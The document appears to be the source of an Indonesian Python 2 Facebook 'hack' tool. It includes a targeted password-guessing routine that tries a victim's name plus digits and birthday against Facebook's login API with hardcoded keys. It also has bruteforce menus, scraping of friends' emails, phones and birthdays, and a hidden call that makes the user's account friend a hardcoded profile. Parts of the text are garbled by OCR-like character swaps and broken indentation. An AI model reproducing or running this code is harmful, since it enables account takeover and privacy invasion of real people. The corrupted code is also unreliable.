```python
# -*- coding: utf-8 -*-


import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize
from multiprocessing.pool import ThreadPool
try:
    import mechanize
except ImportError:
    os.system('pip2 install mechanize')
else:
    try:
        import requests
    except ImportError:
        os.system('pip2 install requests')


from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/36.2.2254/119.132; U; id) Presto/2.12.423 Version/12.16')]


def keluar():
```

```python
		print '\xlb[l;9lm[!] Tutup'
		os.sys.exit()



def jalan(z):
	for e in z + '\n':
		sys.stdout.write(e)
		sys.stdout.flush()
		time.sleep(0.0l)



logo = "\xlb[l;92m███████\n \xlb[l;92m█ █████     \xlb[l;97m●━━━━━━━━━━━━━━━━●🏛🏛🏛●━━━━━━━━━━━━━●\n \xlb[l;92m█  \xlb[l;93m▼ ▼ ▼ ▼ ▼  \xlb[l;97m-_ --_--
\xlb[l;92m┌┐┌┐ ┌┐ ┌ ┬ ┌─  ┌┐ ┌┐  \n \xlb[l;92m█  \xlb[l;97m \xlb[l;97m_-_-- -_ --__ \xlb[l;92m
║║ ┝┥ ┝┥ ──┥┥ ┝┥ \n \xlb[l;92m█  \xlb[l;93m▲ ▲ ▲ ▲ ▲  \xlb[l;97m-- -_ -- \xlb[l;92m══┘┘ ┴
┴┴ └┴┴ ┴  ╚ └┘  \xlb[l;93mPremium\n \xlb[l;92m███████
\xlb[l;97m«=========◇=========»\n \xlb[l;92m ██ ██ \n
\xlb[l;97m ┌──────────────────────────────────┐\n
\xlb[l;97m ║ \xlb[l;93m* \xlb[l;97mReCode  \xlb[l;9lm: \xlb[l;96m ILANGQWER \xlb[l;97m       ║\n
\xlb[l;97m ║ \xlb[l;93m* \xlb[l;97mGitHub  \xlb[l;9lm: \xlb[l;92m
\xlb[92mhttps://github.com/SandalJepit\xlb[   \xlb[l;97m ║\n \xlb[l;97m ║ \xlb[l;93m* \xlb[l;97mFB
\xlb[l;9lm:  \xlb[l;92\xlb[92mhttps://fb.me/Danii.tri\xlb[   \xlb[l;97m   ║ \n
\xlb[l;97m └──────────────────────────────────┘ "
'\n\xlb[l;92m[*] Silahkan Login Operamini Agar Tidak Checkpoint\n'



def tik():
	titik = [
	'. ',' .. ',' ... ']
	for o in titik:
		print '\r\xlb[l;9lm[\xe2\x97\x8f] \xlb[l;92mLoading \xlb[l;97m' + o,
		sys.stdout.flush()
```

```python
	time.sleep(0.01)


back = 0
threads = []
berhasil = []
cekpoint = []
gagal = []
idfriends = []
idfromfriends = []
idmem = []
id = []
em = []
emfromfriends = []
hp = []
hpfromfriends = []
reaksi = []
reaksigrup = []
komen = []
komengrup = []
listgrup = []
vulnot = '\x1b[31mNot Vuln'
vuln = '\x1b[32mVuln'
```

```python
def login():
    os.system('clear')
    try:
        toket = open('login.txt', 'r')
        menu()
    except (KeyError, IOError):
        os.system('clear')
        print logo
        print 52 * '\x1b[1;97m\xe2\x95\x90'
        print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mMASUK AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]'
        id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ')
        pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
        tik()
        try:
            br.open('https://m.facebook.com')
        except mechanize.URLError:
            print '\n\x1b[1;91m[!] Tidak Ada Koneksi'
            keluar()

        br._factory.is_html = True
        br.select_form(nr=0)
        br.form['email'] = id
        br.form['pass'] = pwd
        br.submit()
        url = br.geturl()
```

```python
    if 'save-device' in url:

        try:

            sig = 'api_key=882a849036lda98702bf97a02lddcl4dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74bl2f84cl23cc23437a4a32'

            data = {'api_key': '882a849036lda98702bf97a02lddcl4d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}

            x = hashlib.new('md5')

            x.update(sig)

            a = x.hexdigest()

            data.update({'sig': a})

            url = 'https://api.facebook.com/restserver.php'

            r = requests.get(url, params=data)

            z = json.loads(r.text)

            zedd = open('login.txt', 'w')

            zedd.write(z['access_token'])

            zedd.close()

            print '\n\xlb[1;9lm[\xlb[1;96m\xe2\x9c\x93\xlb[1;9lm] \xlb[1;92mLogin success'

requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])

            time.sleep(1)

            menu()

        except requests.exceptions.ConnectionError:

            print '\n\xlb[1;9lm[!] Tidak Ada Koneksi'

            keluar()
```

```python
    if 'checkpoint' in url:

        print '\n\xlb[l;9lm[!] \xlb[l;93mAccount Has Been Checkpoint'

        os.system('rm -rf login.txt')

        time.sleep(0.01)

        keluar()

    else:

        print '\n\xlb[l;9lm[!] Gagal Masuk'

        os.system('rm -rf login.txt')

        time.sleep(0.01)

        login()




def menu():

    try:

        toket = open('login.txt', 'r').read()

    except IOError:

        os.system('clear')

        print '\xlb[l;9lm[!] Token not found'

        os.system('rm -rf login.txt')

        time.sleep(0.01)

        login()

    else:

        try:

            otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)

            a = json.loads(otw.text)
```

```python
        nama = a['name']

        id = a['id']

        ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket)

        b = json.loads(ots.text)

        sub = str(b['summary']['total_count'])

    except KeyError:

        os.system('clear')

        print '\xlb[1;91m[!] \xlb[1;93mSepertinya akun kena Checkpoint'

        os.system('rm -rf login.txt')

        time.sleep(0.01)

        login()

    except requests.exceptions.ConnectionError:

        print logo

        print '\xlb[1;91m[!] Tidak Ada Koneksi'

        keluar()


    os.system('clear')

    print logo

    print '\xlb[1;97m\xe2\x95\x94' + 50 * '\xe2\x95\x90' + '┑'

    print '\xe2\x95\x91\xlb[1;91m[\xlb[1;96m\xe2\x9c\x93\xlb[1;91m]\xlb[1;97m Name \xlb[1;91m: \xlb[1;92m' + nama + (39 - len(nama)) * '\xlb[1;97m' + '║'

    print '\xe2\x95\x91\xlb[1;91m[\xlb[1;96m\xe2\x9c\x93\xlb[1;91m]\xlb[1;97m FBID \xlb[1;91m: \xlb[1;92m' + id + (39 - len(id)) * '\xlb[1;97m' + '║'

    print '\xe2\x95\x91\xlb[1;91m[\xlb[1;96m\xe2\x9c\x93\xlb[1;91m]\xlb[1;97m Subs \xlb[1;91m: \xlb[1;92m' + sub + (39 - len(sub)) * '\xlb[1;97m' + '║'

    print '\xlb[1;97m╟' + 50 * '\xe2\x95\x90' + '╜'

    print '║ -> \xlb[1;37;40m1. User Information'
```

```python
print '||-> \xlb[l;37;40m2. Hack Facebook Account'

print '||-> \xlb[l;37;40m3. Bot'

print '||-> \xlb[l;37;40m4. Others'

print '||-> \xlb[l;37;40m5. Update'

print '||-> \xlb[l;37;40m6. Logout'

print '||-> \xlb[l;31;40m0. Exit'

print '\xlb[l;37;40m||'

pilih()




def pilih():
    zedd = raw_input('└═\xlb[l;9lm▶\xlb[l;97m ')
    if zedd == '':
        print '\xlb[l;9lm[!] Can\'t empty'
        pilih()
    else:
        if zedd == '1':
            informasi()
        else:
            if zedd == '2':
                menu_hack()
            else:
                if zedd == '3':
                    menu_bot()
                else:
```

```python
        if zedd == '4':
            lain()
    else:
        if zedd == '5':
            os.system('clear')
            print logo
            print 52 * '\x1b[1;97m\xe2\x95\x90'
            os.system('git pull origin master')
            raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
            menu()
        else:
            if zedd == '6':
                os.system('rm -rf login.txt')
                            os.system('xdg-open https://m.facebook.com/rizz.magizz')
                keluar()
            else:
                if zedd == '0':
                    keluar()
                else:
                    print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + '\x1b[1;91mNot availabel'
                    pilih()


def informasi():
    os.system('clear')
```

```python
try:
    toket = open('login.txt', 'r').read()
except IOError:
    print '\x1b[1;91m[!] Token not found'
    os.system('rm -rf login.txt')
    time.sleep(0.01)
    login()


os.system('clear')
print logo
print 52 * '\x1b[1;97m\xe2\x95\x90'
id = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID\x1b[1;97m/\x1b[1;92mName\x1b[1;91m : \x1b[1;97m')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
cok = json.loads(r.text)
for p in cok['data']:
    if id in p['name'] or id in p['id']:
        r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket)
        z = json.loads(r.text)
        print 52 * '\x1b[1;97m\xe2\x95\x90'
        try:
            print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m       : ' + z['name']
        except KeyError:
            print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m       : \x1b[1;91mTidak Ada'
        else:
```

```python
try:
    print '\xlb[1;9lm[\xe2\x9e\xb9] \xlb[1;92mID\xlb[1;97m        :' + z['id']
except KeyError:
    print '\xlb[1;9lm[?] \xlb[1;92mID\xlb[1;97m        :\xlb[1;9lmTidak Ada'
else:
    try:
        print '\xlb[1;9lm[\xe2\x9e\xb9] \xlb[1;92mEmail\xlb[1;97m        :' + z['email']
    except KeyError:
        print '\xlb[1;9lm[?] \xlb[1;92mEmail\xlb[1;97m        :\xlb[1;9lmTidak Ada'
    else:
        try:
            print '\xlb[1;9lm[\xe2\x9e\xb9] \xlb[1;92mNomor Telpon\xlb[1;97m :' + z['mobile_phone']
        except KeyError:
            print '\xlb[1;9lm[?] \xlb[1;92mNomor Telpon\xlb[1;97m :\xlb[1;9lmNot found'


        try:
            print '\xlb[1;9lm[\xe2\x9e\xb9] \xlb[1;92mLokasi\xlb[1;97m     :' + z['location']['name']
        except KeyError:
            print '\xlb[1;9lm[?] \xlb[1;92mLokasi\xlb[1;97m     :\xlb[1;9lmTidak Ada'


    try:
        print '\xlb[1;9lm[\xe2\x9e\xb9] \xlb[1;92mLahir\xlb[1;97m     :' + z['birthday']
    except KeyError:
        print '\xlb[1;9lm[?] \xlb[1;92mLahir\xlb[1;97m     :\xlb[1;9lmTidak Ada'
```

```python
        try:
            print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m      :'
            for q in z['education']:
                try:
                    print '\x1b[1;91m           ~ \x1b[1;97m' + q['school']['name']
                except KeyError:
                    print '\x1b[1;91m           ~ \x1b[1;91mTidak Ada'


        except KeyError:
            pass


        raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
        menu()
    else:
        print '\x1b[1;91m[\xe2\x9c\x96] Pengguna Tidak Ada'
        raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
        menu()



def menu_hack():
    os.system('clear')
    try:
        toket = open('login.txt', 'r').read()
    except IOError:
        print '\x1b[1;91m[!] Token not found'
```

```python
    os.system('rm -rf login.txt')

    time.sleep(0.01)

    login()


os.system('clear')

print logo

print 52 * '\x1b[1;97m\xe2\x95\x90'

print '‖-> \x1b[1;37;40m1. Mini Hack Facebook (\x1b[1;92mTarget\x1b[1;97m)'

print '‖-> \x1b[1;37;40m2. Multi Bruteforce Facebook'

print '‖-> \x1b[1;37;40m3. Super Multi Bruteforce Facebook'

print '‖-> \x1b[1;37;40m4. BruteForce (\x1b[1;92mTarget\x1b[1;97m)'

print '‖-> \x1b[1;37;40m5. Yahoo Clone'

print '‖-> \x1b[1;37;40m6. Ambil ID/Email/HP'

print '‖-> \x1b[1;31;40m0. Back'

print '\x1b[1;37;40m‖'

hack_pilih()


def hack_pilih():

    hack = raw_input('╚═\x1b[1;91m▶\x1b[1;97m ')

    if hack == '':

        print '\x1b[1;91m[!] Can\'t empty'

        hack_pilih()

    else:

        if hack == '1':
```

```python
        mini()
else:
    if hack == '2':
        crack()
        hasil()
    else:
        if hack == '3':
            super()
        else:
            if hack == '4':
                brute()
            else:
                if hack == '5':
                    menu_yahoo()
                else:
                    if hack == '6':
                        grab()
                    else:
                        if hack == '0':
                            menu()
                        else:
                            print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mNot found'
                            hack_pilih()
```

```python
def mini():
    os.system('clear')
    try:
        toket = open('login.txt', 'r').read()
    except IOError:
        print '\x1b[1;91m[!] Token not found'
        os.system('rm -rf login.txt')
        time.sleep(0.01)
        login()
    else:
        os.system('clear')
        print logo
        print 52 * '\x1b[1;97m\xe2\x95\x90'
        print '\x1b[1;91m[ INFO ] Target must be your friend !'
        try:
            id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
            jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
            r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
            a = json.loads(r.text)
            print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mName\x1b[1;97m : ' + a['name']
            jalan('\x1b[1;91m[+] \x1b[1;92mChecking \x1b[1;97m...')
            time.sleep(1)
            jalan('\x1b[1;91m[+] \x1b[1;92mOpen security \x1b[1;97m...')
            time.sleep(1)
            jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mPlease wait \x1b[1;97m...')
```

```python
    print 52 * '\x1b[1;97m\xe2\x95\x90'

    pzl = a['first_name'] + '123'

    data = urllib.urlopen('https://b-
api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739
ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pzl +
'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')

    y = json.load(data)

    if 'access_token' in y:

      print '\x1b[1;91m[+] \x1b[1;92mFounded.'

      print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m   :' + a['name']

      print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m :' + id

      print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m :' + pzl

      raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')

      menu_hack()

    else:

      if 'www.facebook.com' in y['error_msg']:

        print '\x1b[1;91m[+] \x1b[1;92mFounded.'

        print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint'

        print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m   :' + a['name']

        print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m :' + id

        print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m :' + pzl

        raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')

        menu_hack()

      else:

        pz2 = a['first_name'] + '12345'

        data = urllib.urlopen('https://b-
api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739
```

```python
edla2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 +
'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')

                y = json.load(data)

                if 'access_token' in y:

                    print '\x1b[1;91m[+] \x1b[1;92mFounded.'

                    print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m    : ' + a['name']

                    print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m: ' + id

                    print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m: ' + pz2

                    raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')

                    menu_hack()

                else:

                    if 'www.facebook.com' in y['error_msg']:

                        print '\x1b[1;91m[+] \x1b[1;92mFounded.'

                        print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint'

                        print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m    : ' + a['name']

                        print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m: ' + id

                        print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m: ' + pz2

                        raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')

                        menu_hack()

                    else:

                        pz3 = a['last_name'] + '123'

                        data = urllib.urlopen('https://b-
api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739
edla2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 +
'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')

                        y = json.load(data)

                        if 'access_token' in y:
```

```python
        print '\x1b[1;91m[+] \x1b[1;92mFounded.'
        print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m    : ' + a['name']
        print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
        print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
        raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
        menu_hack()
    else:
        if 'www.facebook.com' in y['error_msg']:
            print '\x1b[1;91m[+] \x1b[1;92mFounded.'
            print '\x1b[1;91m[!] \x1b[1;93mAccount Maybe Checkpoint'
            print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m    : ' + a['name']
            print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
            print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
            raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
            menu_hack()
        else:
            lahir = a['birthday']
            pz4 = lahir.replace('/', '')
            data = urllib.urlopen('https://b-
api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739
ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 +
'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
```